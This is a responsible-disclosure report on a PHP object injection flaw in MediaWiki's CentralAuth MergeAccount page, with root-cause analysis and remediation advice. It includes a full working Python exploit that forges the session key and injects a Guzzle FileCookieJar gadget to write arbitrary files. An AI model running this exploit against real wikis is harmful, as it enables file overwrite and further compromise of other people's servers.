From a report to security@
PHP object injection and arbitrary file overwrite through CentralAuth MergeAccount
Reporter: Marco Paciaroni
Credit: bombobombone
CWE: CWE-502 (Deserialization of Untrusted Data)
Summary
An authenticated user who can access CentralAuth's MergeAccount special page can replace the session key used to decode the stored migration state. The key is submitted by the browser, while the encrypted plaintext is predictable from the password entered in the preceding form. This lets the user transform the stored value into an attacker-chosen PHP serialized object graph.
The proof of concept injects Guzzle's FileCookieJar object. Its destructor writes an attacker-selected path. The local reproduction created and then removed a marker file through a real HTTP request to MediaWiki.
Impact
An attacker with the centralauth-merge right can overwrite or truncate a file writable by the PHP process. Depending on the deployment and selected path, this can damage configuration, cache, log, or extension data and can provide a primitive for further compromise. The proof of concept demonstrates arbitrary file creation/overwrite; it does not claim standalone remote code execution.
Preconditions
- CentralAuth is installed and Special:MergeAccount is enabled.
- The actor is a named user allowed to use the centralauth-merge right. The extension manifest grants this right to *, although a site configuration may override that grant.
- The PHP process can write to the target path.
- The deployment includes the Guzzle class used by the proof of concept.
Steps to reproduce
Run the standard-library Python PoC with a local account that has the required right:
python poc/centralauth_merge_xor_object_injection.py --base-url http://127.0.0.1:4016 --username <local-user> --password <local-password> --marker C:\path\to\central-auth-marker.txt
The script logs in, obtains the MergeAccount form values, performs the normal dry-run submission, derives a replacement key, and submits the forged value. The marker path must be writable by the local PHP process.
Expected result
The replacement key should be authenticated and bound to the server-side session state. User-controlled serialized input should not be passed to unrestricted unserialize().
Actual result
The forged request reaches unserialize() with an attacker-controlled object graph. On the validated local instance the injected FileCookieJar destructor created the requested marker file containing []; the request later returned HTTP 500 while the application processed the unexpected object as a password value. The file-write side effect occurred before that error.
Technical details
SpecialMergeAccount accepts wpMergeSessionKey directly from the request at includes/Special/SpecialMergeAccount.php:102-108. It checks the normal edit token at :121-125, but does not authenticate the submitted session key. The initial form exposes the random key at :556-559.
The migration state is written at :205-221 as:
XOR(gzdeflate(serialize([$password])), K0)
The user knows the password submitted in the first request and receives K0 in the form. Therefore the ciphertext is known, and a replacement key can be computed as:
K1 = XOR(ciphertext, crafted_compressed_serialized_payload)
getWorkingPasswords() then applies the submitted key and passes the result through gzinflate() and unrestricted unserialize() at :184-200. Only the outer value is checked with is_array().
The PoC uses GuzzleHttp\\Cookie\\FileCookieJar, whose destructor calls save() and whose save method calls file_put_contents() with the serialized object's private filename. Relevant code is in vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:10-15,45-47,57-77.
Validation
Validated against a local MediaWiki instance over HTTP with MediaWiki core revision 228d5c2a83bc5ce54dc4df9928457c4343c60fe8 and the CentralAuth checkout at revision f9f6921d6d2ca1529e602ec80a39bd5fc6094610. CentralAuth was loaded and the merge right was enabled for the local test account. The normal request returned HTTP 200. The forged request returned HTTP 500 after the deserialization path, and the marker file was created with the bytes [] and then removed by the test. No production host was contacted.
Suggested remediation
- Do not accept the decryption key from the client. Keep the key server-side and bind it to the authenticated session and merge transaction.
- Replace the XOR-obfuscation scheme with protected server-side session storage.
- If serialized state must remain temporarily, use unserialize() with ['allowed_classes' => false] and strictly validate that the result is a list of strings before use.
- Add a regression test proving that a submitted replacement key cannot alter the decoded type or instantiate classes.
PROOF OF CONCEPT
Save the following as centralauth_merge_xor_object_injection.py and run it only against an authorized local or staging instance:
#!/usr/bin/env python3 """Local proof of the CentralAuth MergeAccount object-injection primitive. Use only against a local or explicitly authorized staging instance. """ import argparse import html import json import re import secrets import sys import urllib.error import urllib.parse import urllib.request import zlib from pathlib import Path class Response: def __init__(self, response): self.status_code = response.status self.text = response.read().decode("utf-8", "replace") def json(self): return json.loads(self.text) def raise_for_status(self): if self.status_code >= 400: raise RuntimeError(f"HTTP {self.status_code}: {self.text[:300]}") class Session: def __init__(self): self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor() ) def get(self, url, params=None, timeout=20): if params: url += "?" + urllib.parse.urlencode(params) try: return Response(self.opener.open(url, timeout=timeout)) except urllib.error.HTTPError as error: return Response(error) def post(self, url, data=None, timeout=20): request = urllib.request.Request( url, data=urllib.parse.urlencode(data or {}).encode(), method="POST", ) try: return Response(self.opener.open(request, timeout=timeout)) except urllib.error.HTTPError as error: return Response(error) def raw_deflate(data: bytes) -> bytes: compressor = zlib.compressobj(level=6, wbits=-15) return compressor.compress(data) + compressor.flush() def php_string(value: str) -> str: encoded = value.encode() return f's:{len(encoded)}:"{value}";' def php_property(key: str, value: str) -> str: encoded = key.encode() return f's:{len(encoded)}:"{key}";{value}' def password_serialized(value: str) -> bytes: return ("a:1:{i:0;" + php_string(value) + "}").encode() def object_payload(marker: Path, filler: str = "") -> bytes: class_name = r"GuzzleHttp\Cookie\FileCookieJar" filename = marker.as_posix() filename_key = "\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename" store_key = "\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies" cookies_key = "\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies" strict_key = "\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode" body = ( f'O:{len(class_name.encode())}:"{class_name}":4:{{' + php_property(filename_key, php_string(filename)) + php_property(store_key, "b:0;") + php_property(cookies_key, "a:0:{}") + php_property(strict_key, "b:0;") + "}" ) if filler: return ( "a:3:{i:0;s:1:\"x\";i:1;" + body + "i:2;" + php_string(filler) + "}" ).encode() return ("a:1:{i:0;" + body + "}").encode() def hidden_value(page: str, name: str) -> str: pattern = ( r'<input[^>]*\bname=["\']' + re.escape(name) + r'["\'][^>]*\bvalue=["\']([^"\']*)["\']' + r'|<input[^>]*\bvalue=["\']([^"\']*)["\'][^>]*\bname=["\']' + re.escape(name) + r'["\']' ) match = re.search(pattern, page, re.I) if not match: raise RuntimeError(f"missing hidden field: {name}") return html.unescape(match.group(1) or match.group(2)) def form_action(page: str) -> str: match = re.search( r'<form[^>]*\baction=["\']([^"\']*MergeAccount[^"\']*)["\']', page, re.I, ) if not match: raise RuntimeError("missing MergeAccount form action") return html.unescape(match.group(1)) def xor_repeat(data: bytes, key: bytes) -> bytes: return bytes(value ^ key[index % len(key)] for index, value in enumerate(data)) def find_matching_payload(marker: Path) -> tuple[str, bytes, bytes]: filler_source = secrets.token_hex(1200) base_size = len(raw_deflate(object_payload(marker))) for byte_count in range(120, 1000): candidate = secrets.token_hex(byte_count) compressed_password = raw_deflate(password_serialized(candidate)) if len(compressed_password) < base_size: continue for filler_length in range(len(filler_source) + 1): filler = filler_source[:filler_length] compressed_payload = raw_deflate(object_payload(marker, filler)) if len(compressed_payload) == len(compressed_password): return candidate, compressed_password, compressed_payload raise RuntimeError("could not match compressed payload and password lengths") def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--base-url", required=True) parser.add_argument("--username", required=True) parser.add_argument("--password", required=True) parser.add_argument("--marker", required=True, help="Writable local path for the marker file") args = parser.parse_args() base = args.base_url.rstrip("/") marker = Path(args.marker).resolve() marker.unlink(missing_ok=True) session = Session() login_info = session.get( f"{base}/w/api.php", params={"action": "query", "meta": "tokens", "type": "login", "format": "json"}, ).json() login_token = login_info["query"]["tokens"]["logintoken"] login_result = session.post( f"{base}/w/api.php", data={ "action": "login", "lgname": args.username, "lgpassword": args.password, "lgtoken": login_token, "format": "json", }, ).json() if login_result.get("login", {}).get("result") != "Success": raise RuntimeError(f"login failed: {login_result}") page = session.get( f"{base}/w/index.php", params={"title": "Special:MergeAccount"} ) page.raise_for_status() edit_token = hidden_value(page.text, "wpEditToken") session_token = hidden_value(page.text, "wpMergeSessionToken") session_key_hex = hidden_value(page.text, "wpMergeSessionKey") action = form_action(page.text) session_key = bytes.fromhex(session_key_hex) password, password_compressed, payload_compressed = find_matching_payload(marker) initial = session.post( f"{base}{action}", data={ "wpEditToken": edit_token, "wpMergeAction": "dryrun", "wpMergeSessionToken": session_token, "wpMergeSessionKey": session_key_hex, "wpPassword": password, }, ) initial.raise_for_status() ciphertext = xor_repeat(password_compressed, session_key) forged_key = xor_repeat(ciphertext, payload_compressed).hex() forged = session.post( f"{base}{action}", data={ "wpEditToken": edit_token, "wpMergeAction": "dryrun", "wpMergeSessionToken": session_token, "wpMergeSessionKey": forged_key, "wpPassword": "unused", }, ) print(f"initial_status={initial.status_code}") print(f"forged_status={forged.status_code}") print(f"compressed_payload_bytes={len(payload_compressed)}") print(f"compressed_password_bytes={len(password_compressed)}") print(f"marker_created={marker.exists()}") if marker.exists(): print(f"marker_bytes={marker.read_bytes()!r}") marker.unlink() print(f"marker_removed={not marker.exists()}") return 0 return 1 if __name__ == "__main__": try: raise SystemExit(main()) except Exception as exc: print(f"ERROR: {exc}", file=sys.stderr) raise